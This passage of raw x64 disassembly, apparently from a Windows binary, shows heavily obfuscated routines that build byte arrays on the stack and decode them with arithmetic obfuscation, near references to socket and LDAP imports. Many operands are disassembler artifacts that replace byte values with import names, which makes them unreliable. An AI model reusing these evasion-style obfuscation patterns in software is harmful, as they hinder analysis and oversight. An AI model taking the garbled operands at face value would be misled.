lea edx, [r8 + rcx]
sub dl, 4
mov qword [rbp - 0x68], rdx
sub r9, r15
mov r14, qword [rbp - 0x68]
jmp 0x1401d92f6
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
mov qword [rbp - 0x68], rdx
add rbx, r10
mov r14, rdx
movzx eax, r14b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401d92f6
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea r14d, [rcx + rdx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
movzx eax, byte [rbp + r9 + 0xa50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401d87d8
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x1401d87d3
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
jmp 0x1401d87c3
lea rdx, [rbp + 0x16f1180]
jmp 0x1401d936a
lea rdx, [rbp + 0x68a4e4]
jmp 0x1401d936a
lea rdx, [rbp + 0xa50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rax
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], ax
jne 0x1401d9388
lea rcx, [rbp + 0x2e0]
call fcn.140087800
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1530]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov dword [rsp + 0x20], r15d
mov r14d, 0x40
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1530]
call fcn.140174580
nop
lea rcx, [rbp + 0x1530]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1530]
call fcn.1400a2eb0
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400aa310
mov byte [rbp + 0x800], 0xcb
mov byte [rbp + 0x801], Ordinal_143
mov byte [rbp + 0x802], 0xac
mov byte [rbp + 0x803], 0xf3
mov byte [rbp + 0x804], Ordinal_79
mov byte [rbp + 0x805], 0xf1
mov byte [rbp + 0x806], WSASetLastError
mov byte [rbp + 0x807], 0xf7
mov byte [rbp + 0x808], 0x55
mov byte [rbp + 0x809], 0xf5
mov byte [rbp + 0x80a], 0xa2
mov byte [rbp + 0x80b], 0xfb
mov byte [rbp + 0x80c], 0x66
mov byte [rbp + 0x80d], 0xf9
mov byte [rbp + 0x80e], 0x55
mov byte [rbp + 0x80f], 0xff
mov byte [rbp + 0x810], 0x59
mov byte [rbp + 0x811], 0xfd
mov byte [rbp + 0x812], WSACleanup
mov byte [rbp + 0x813], 0xe3
mov byte [rbp + 0x814], 0x47
mov byte [rbp + 0x815], 0xe1
mov byte [rbp + 0x816], Ordinal_79
mov byte [rbp + 0x817], 0xe7
mov byte [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x819], 0xe5
mov byte [rbp + 0x81a], 0x42
mov byte [rbp + 0x81b], 0xeb
mov byte [rbp + 0x81c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x81d], 0xe9
mov byte [rbp + 0x81e], r14b
mov byte [rbp + 0x81f], 0xef
mov byte [rbp + 0x820], 0xb8
mov byte [rbp + 0x821], 0xed
mov byte [rbp + 0x822], 0x87
mov byte [rbp + 0x823], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x824], 0x44
mov byte [rbp + 0x825], Ordinal_211
mov byte [rbp + 0x826], r14b
mov byte [rbp + 0x827], Ordinal_217
mov byte [rbp + 0x828], 0x81
mov byte [rbp + 0x829], Ordinal_217
mov byte [rbp + 0x82a], 0x7e
mov byte [rbp + 0x82b], 0xdb
mov byte [rbp + 0x82c], 0x7c
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x82e], WSACleanup
mov byte [rbp + 0x82f], 0xdf
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], 0xdd
mov byte [rbp + 0x832], 0x64
mov byte [rbp + 0x833], Ordinal_200
mov byte [rbp + 0x834], WSAGetLastError
mov byte [rbp + 0x835], 0xc1
mov byte [rbp + 0x836], 0x54
mov byte [rbp + 0x837], Ordinal_200
mov byte [rbp + 0x838], Ordinal_200
mov byte [rbp + 0x839], Ordinal_200
xor eax, eax
mov dword [rbp + 0x83a], eax
mov word [rbp + 0x83e], ax
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, r14
jae 0x1401da203
movzx r8d, byte [rbp + r9 + 0x800]
mov r11, r8
cmp rbx, r9
ja 0x1401da1fa
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401d9620
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, r8
sub r13b, 0x32
jmp 0x1401d98cf
je 0x1401da15b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401da100
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401da0a9
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401da07e
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401da032
cmp r10, r9
ja 0x1401da1f1
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1401d968f
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x1a
jmp 0x1401d98a3
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401da012
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401d9fef
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401d9fbe
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401d9faa
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401d9bd9
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401d9bb6
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401d9ba2
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401d9b7f
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401d9b6b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401d9b48
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401d9b25
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401d9afd
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401d9ada
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401d9ac6
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401d96d0
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401da1c5
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401da199
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401d98d8
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401d98ac
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401d9885
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1401d9a9e
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1401d9a8a
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401d9a67
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401d9a33
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401d96d0
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401d9a0b
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401d99e8
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401d99c5
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401d999d
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401d997b
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401d9959
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401d9936
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401d9913
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401d98ff
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401d96d0
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x1401d96d0
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x26
mov qword [rbp - 0x58], r13
jmp 0x1401d96c3
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401d965a
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x5e
mov qword [rbp - 0x58], r13
jmp 0x1401d95e5
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401da041
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6c
jmp 0x1401da079
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 8
jmp 0x1401da0a1
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1401d9f4a
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x1401d9f7b
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401d9fdc
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x1401da0ca
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x14
jmp 0x1401da126
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401da17e
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
mov byte [rbp + r9 + 0x800], r13b
jmp 0x1401da191
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x52
jmp 0x1401d9c81
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401d9c32
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401d9c04
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401d9a1a
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x38
jmp 0x1401da126
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401da0ca
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x70
jmp 0x1401d9fdc
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0xc
jmp 0x1401d9f7b
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1401d9968
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
jmp 0x1401da0a1
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401d9d7b
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7c
jmp 0x1401da055
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401d9cbb
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x32
mov qword [rbp - 0x58], r13
lea rax, [r10 + rbx]
cmp rax, 6
je 0x1401d9f80
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401d9d94
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
cmp rbx, r14
jae 0x1401d9f27
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x1401d9e65
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 4
mov qword [rbp - 0x58], r13
cmp r10, 0x1000
jb 0x1401d9a5a
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea r13d, [rdx + rdx]
jmp 0x1401da055
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d9ce7
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x34
jmp 0x1401da17e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d9d02
movabs rdx, 0x350b794e73a31824
mov ecx, r12d
jmp 0x1401d9b0c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d9d33
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401d9f7b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401d9d5f
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x28
jmp 0x1401d9f50
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d9c08
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401da079
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d9dc0
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x4e
jmp 0x1401da055
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d9dec
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7a
jmp 0x1401d9f50
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401d9e09
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401d9d1a
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d9e35
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x42
jmp 0x1401d9fdc
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401d9c4a
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6e
jmp 0x1401da17e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401d9e91
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x68
jmp 0x1401da17e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401d9ebd
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x30
jmp 0x1401da0ca
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401d9eda
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401d9d1a
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401d9ef7
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401da08d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401d9c85
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x24
jmp 0x1401da079
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0x800]
sub r13b, al
sub r13b, 0x50
add r13b, dl
add r13b, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r13b
mov byte [rbp + r9 + 0x800], cl
add rbx, r10
jmp 0x1401d9fdc
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
sub r13b, byte [rbp + r9 + 0x800]
jmp 0x1401d9b1a
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401d9b0c
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x72
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401da18d
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x46
jmp 0x1401da0a1
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7e
jmp 0x1401da055
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x1401da0a1
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r9, r15
jmp 0x1401da18d
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1401da126
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x800], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401da17e
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, dl
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
mov qword [rbp - 0x58], r13
add r9, r15
jmp 0x1401d95d3
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401d95ce
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401d95be
lea rdx, [rbp + 0x15983a8]
jmp 0x1401da20a
lea rdx, [rbp + 0x16dc166]
jmp 0x1401da20a
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x300]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1640]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401da23f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1640]
call fcn.140174580
nop
lea rcx, [rbp + 0x1640]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1640]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xcd0], 0xe3
mov byte [rbp + 0xcd1], 0xad
mov byte [rbp + 0xcd2], 0xec
mov byte [rbp + 0xcd3], 0xab
mov byte [rbp + ntohld4], 0xc
mov byte [rbp + 0xcd5], 0xa9
mov byte [rbp + 0xcd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0x3d
mov byte [rbp + 0xcd9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xcda], al
mov byte [rbp + 0xcdb], __WSAFDIsSet
mov byte [rbp + 0xcdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xcdd], __WSAFDIsSet
mov byte [rbp + 0xcde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcdf], 0x9f
mov byte [rbp + 0xce0], 7
mov byte [rbp + 0xce1], 0x9d
mov byte [rbp + 0xce2], 5
mov byte [rbp + 0xce3], 0x9b
mov byte [rbp + 0xce4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xce5], 0x99
mov byte [rbp + 0xce6], Ordinal_45
mov byte [rbp + 0xce7], 0x87
mov byte [rbp + 0xce8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xce9], 0x85
mov byte [rbp + 0xcea], Ordinal_217
mov byte [rbp + 0xceb], 0x83
mov byte [rbp + 0xcec], 0x3d
mov byte [rbp + 0xced], 0x81
mov byte [rbp + 0xcee], Ordinal_50
mov byte [rbp + 0xcef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf0], Ordinal_45
mov byte [rbp + 0xcf1], Ordinal_143
mov byte [rbp + 0xcf2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcf3], Ordinal_143
mov byte [rbp + 0xcf4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xcf5], Ordinal_143
mov byte [rbp + 0xcf6], 0x64
mov byte [rbp + 0xcf7], 0xf7
mov byte [rbp + 0xcf8], 0x5c
mov byte [rbp + 0xcf9], 0xf5
mov byte [rbp + 0xcfa], 0x62
mov byte [rbp + 0xcfb], 0xf3
mov byte [rbp + 0xcfc], 0xaa
mov byte [rbp + 0xcfd], 0xf1
mov byte [rbp + 0xcfe], 0xa2
mov byte [rbp + 0xcff], 0xff
mov byte [rbp + 0xd00], 0xae
mov byte [rbp + 0xd01], 0xfd
mov byte [rbp + 0xd02], 0x57
mov byte [rbp + 0xd03], 0xfb
mov byte [rbp + 0xd04], 0x60
mov byte [rbp + 0xd05], 0xf9
mov byte [rbp + 0xd06], Ordinal_79
mov byte [rbp + 0xd07], 0xe7
mov byte [rbp + 0xd08], 0xb6
mov byte [rbp + 0xd09], 0xe5
mov byte [rbp + 0xd0a], 0x77
mov byte [rbp + 0xd0b], 0xe3
mov byte [rbp + 0xd0c], 0x7d
mov byte [rbp + 0xd0d], 0xe1
mov byte [rbp + 0xd0e], 0x47
mov byte [rbp + 0xd0f], 0xef
mov byte [rbp + 0xd10], 0xec
mov byte [rbp + 0xd11], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xd12], xmm0
mov qword [rbp + 0xd22], rax
mov byte [rbp + 0xd2a], al
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x5b
jae 0x1401db0a8
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rbx, r9
ja 0x1401db09f
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401da4c2
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x1401da742
je 0x1401db00a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401daf74
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401daf34
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401daee9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401daeb8
cmp r10, r9
ja 0x1401db096
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401da522
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401da709
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401dae74
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401dae54
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401dae2d
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401dae0a
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401daaeb
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401daac8
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401daaa0
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401daa7c
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401daa59
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401daa31
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401daa0e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401da9fa
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401da9d4
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401da9ad
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401da563
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401db06f
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401db044
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401da74b
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401da721
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1401da6fa
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401da94e
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401da8ef
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401da89f
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401da87c
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1401da859
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401da831
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401da80e
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401da7fa
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401da7d4
lea rax, [r10 + 2]
cmp rbx, rax
